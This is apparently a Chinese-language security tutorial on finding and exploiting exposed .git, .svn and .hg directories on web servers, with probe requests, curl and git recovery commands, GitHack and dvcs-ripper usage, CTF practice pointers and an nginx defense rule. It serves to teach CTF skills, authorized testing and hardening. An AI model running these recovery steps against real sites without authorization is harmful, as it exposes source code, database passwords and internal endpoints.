目录里有源码,不代表只有当前版本。Web 目录下出现 .git、.svn 或 .hg 这样的版本库元数据目录,说明部署时没剥离干净,探测到其中一个,往往能把整个开发历史、数据库密码和被注释掉的测试接口一起带回来。

先看最直接的一步探测:

1
2
GET /.git/HEAD HTTP/1.1
Host: example.com

返回 200 且内容是 ref: refs/heads/master,说明站点根目录下挂着一个 Git 仓库,.git 没被整体拦掉。不过一个文件可读推不出整个目录可读,接下来要确认 objects/ 和 index 能不能拿到——那才是恢复源码的依据。

成立条件与原理

三类泄露的成因相同,三条同时满足即可利用:

  1. 版本库元数据目录被部署进了 Web 根目录——rsync/scp 整目录上传、IDE 直接发布、Git 挂目录部署都可能出现
  2. Web 服务器没有对以点开头的目录做访问控制
  3. 版本库对象文件可读——恢复源码靠的就是逐个读取对象,不是读目录列表
版本系统 泄露目录 关键探测点 可恢复内容
Git /.git/ HEAD、config、logs/HEAD、index、objects/ 完整提交历史与工作区
SVN /.svn/ entries(1.6 及以前)、wc.db(1.7 起) 工作区文件与基线版本
Mercurial /.hg/ requires、store/00manifest.i 完整变更历史

SVN 1.7 重构了工作副本格式:entries 变成只有一行版本号的空壳,目录树和文件校验信息全部收进 wc.db 这个 SQLite 文件。老资料里”读 entries 遍历目录”的方法只适用于 1.6 及以前的格式,现在实际遇到的大多是 wc.db。

探测与识别

手工确认用 curl 逐个打探测点,比目录爆破快:

1
2
3
curl -s http://example.com/.git/HEAD
curl -s http://example.com/.svn/wc.db | file -
curl -s http://example.com/.hg/requires

第二条下载下来是 SQLite 3 database 即确认 SVN 泄露;requires 文件是 Mercurial 仓库的固定配置文件,返回 200 即确认。批量扫站时 dirsearch 的默认字典自带这些条目,适合前期资产梳理阶段顺手过一遍。

/.git/ 返回 403 不等于不可利用——很多配置只禁了目录索引,HEAD、objects/ 下的单个文件照样可读。判定以逐文件探测为准,不要在目录列表这一步放弃。

.git 的利用

核心思路一句话:让本地 git 把远程 .git 目录当成一个 HTTP 协议的远程仓库。前提是目录里有 info/refs——git 靠它拿到引用列表,缺这个文件时 fetch 会报 repository not found,看着像地址写错,其实对象都在、引用清单没生成。

手工恢复

1
2
3
4
git init src && cd src
git remote add origin http://example.com/.git/
git fetch origin
git reset --hard origin/master
命令逐条解释
  • git remote add origin http://example.com/.git/:把泄露目录当作远程仓库地址。dumb HTTP 靠逐个下载 objects/ 下的文件工作,前提是先有 info/refs 给出引用列表(服务器执行过 git update-server-info 才会生成);缺它时这一步直接失败,得改用 GitHack 逐文件抓
  • git fetch origin:拉取全部对象与引用,不改动工作区
  • git reset --hard origin/master:把当前分支指向拉下来的提交并还原全部文件。分支名以 /.git/HEAD 里的 ref: 为准,可能是 master 也可能是 main 或其他

工具:GitHack

手工流程封装一下就是 GitHack(BugScanTeam 出品),自动解析 HEAD 与引用、逐个拉取对象、按 index 还原文件树:

1
2
python GitHack.py http://example.com/.git/
python git_extract.py http://example.com/.git/ # Git_Extract

同类还有 gakki429 的 Git_Extract,补的是 GitHack 容易漏的几类文件——logs/HEAD、refs/stash、info/packs;pack 文件里 delta 对象的重建还挂在 README 的待做清单上,指望它补 pack 内部对象会落空。GitHack 是 Python 2 脚本且要求本机有 git 命令,两个项目都得整仓库 clone 后运行,没有单文件即用这回事。

提交历史与 stash

仓库恢复后,历史里的东西往往比工作区当前版本值钱:

1
2
3
git log --oneline --all        # 全部提交
git stash list # 暂存记录
git checkout <hash> # 切到任意历史提交查看

logs/HEAD 记录了本地引用变动,被回滚掉的提交和 stash 操作在这里留有痕迹——工作区里看不到的数据库密码、内网接口,经常藏在这些”删掉了”的提交里。CTFhub 把这条线拆成了 log、stash、index 等变体关卡,每种变体对应不同文件的恢复手法,适合把流程练熟(CTFhub 技能树 Web 的「信息泄露」章节)。

.svn 与 .hg 的利用

.svn:从 wc.db 到 pristine 基线文件

SVN 工作副本里,文件本体按 SHA1 校验值存在 pristine 目录:/.svn/pristine/<校验值前两位>/<校验值>.svn-base。恢复思路是先拿目录索引,再按索引下载文件:

1
2
3
4
wget http://example.com/.svn/wc.db
sqlite3 wc.db "SELECT local_relpath, checksum FROM NODES WHERE kind='file';"
# checksum 形如 $sha1$e5b3...,对应 /.svn/pristine/e5/e5b3....svn-base
wget http://example.com/.svn/pristine/e5/e5b3....svn-base

目录树大时手工会很累,dvcs-ripper 的 rip-svn.pl 自动完成”读 wc.db 的 pristine 表 → 批量下载基线文件 → 调本地 svn 还原文件名”全过程:

1
./rip-svn.pl -v -u http://example.com/.svn/

-v 显示进度。脚本依赖 Perl 及 LWP、IO::Socket::SSL、DBD::SQLite 几个模块,外加本机 svn 客户端(收尾会调 svn revert 把基线还原成文件名);Kali 自带 Perl,但工具本体和模块要自己装。1.6 及以前的旧格式(明文 entries)它同样支持,遇到老系统直接跑即可。

.hg:整目录下载后本地重建

Mercurial 的存储是 store/ 目录下的 revlog 文件:00changelog 承担提交日志,00manifest 承担文件清单,各文件的内容按文件名哈希存放在 store/data/ 下。它没有 SVN 那样的单一索引文件,利用方式就是把 .hg 目录完整拉下来,本地重建仓库:

1
2
3
4
5
./rip-hg.pl -v -u http://example.com/.hg/
cd <输出目录>
hg verify # 校验拉取是否完整
hg update # 还原工作区
hg log -l 20 # 查看提交历史

rip-hg.pl 同属 dvcs-ripper,按 changelog 和 manifest 的线索递归补齐 store/data/ 下的文件;verify 通过说明对象完整,后面就是正常的本地仓库操作。

边界与危害评估

能拿到什么,取决于对象文件的完整程度:

  • Git/Hg 的历史完整度看部署方式:整目录上传或 clone 部署一般带全量对象,历史就是全的——全部源码版本、被删除的调试文件、硬编码的密钥与数据库口令、注释里的内网地址和后台路径
  • SVN 只能恢复 checkout 时点的基线版本,仓库本体(含完整历史)在另一台服务器上,这里拿不到
  • 目录被运维清过一部分时(只剩 pack 没有 idx、pristine 缺文件),恢复结果是不完整的,按能拿到的部分评估即可

这类操作通常会在访问日志里留下大量 /.git/、/.svn/ 的请求记录,真实目标上只做授权范围内的验证。CTF 之外的实战价值主要在众测和 SRC 的信息收集阶段——拿到源码后后续攻击面(未授权接口、默认口令、依赖漏洞)会宽很多。

防御

两层各做一件事,缺一个都防不住:

  1. 部署剥离:构建产物单独打包发布,VCS 元数据不进 Web 目录。rsync 加 --exclude 排除、CI 流水线里用 git archive 或构建产物部署都可以;.gitignore 只管提交不管部署,指望它挡不住
  2. 服务器兜底:Web 层直接拒绝点开头的路径
1
2
3
location ~ /\.(git|svn|hg) {
return 404;
}

自己的资产定期扫一遍 /.git/HEAD 这类探测点,部署流程有变(换了发布工具、加了镜像同步)之后重点复查。

速查表

线索 确认方式 恢复手段
/.git/HEAD 返回 ref: curl 逐文件探测 GitHack,或 git fetch + reset --hard
/.git/ 目录 403 403 只挡索引,逐文件再测 GitHack 仍可用,对象可读即可
/.git/logs/HEAD 有 stash/reset 记录 git log --all、stash list git checkout <hash> 查历史提交
/.svn/wc.db 为 SQLite file 命令确认 rip-svn,或 sqlite3 查 NODES + 下载 pristine
/.svn/entries 有明文内容 1.6 旧格式 rip-svn 直接支持
/.hg/requires 返回 200 curl rip-hg 整目录下载,hg verify + hg update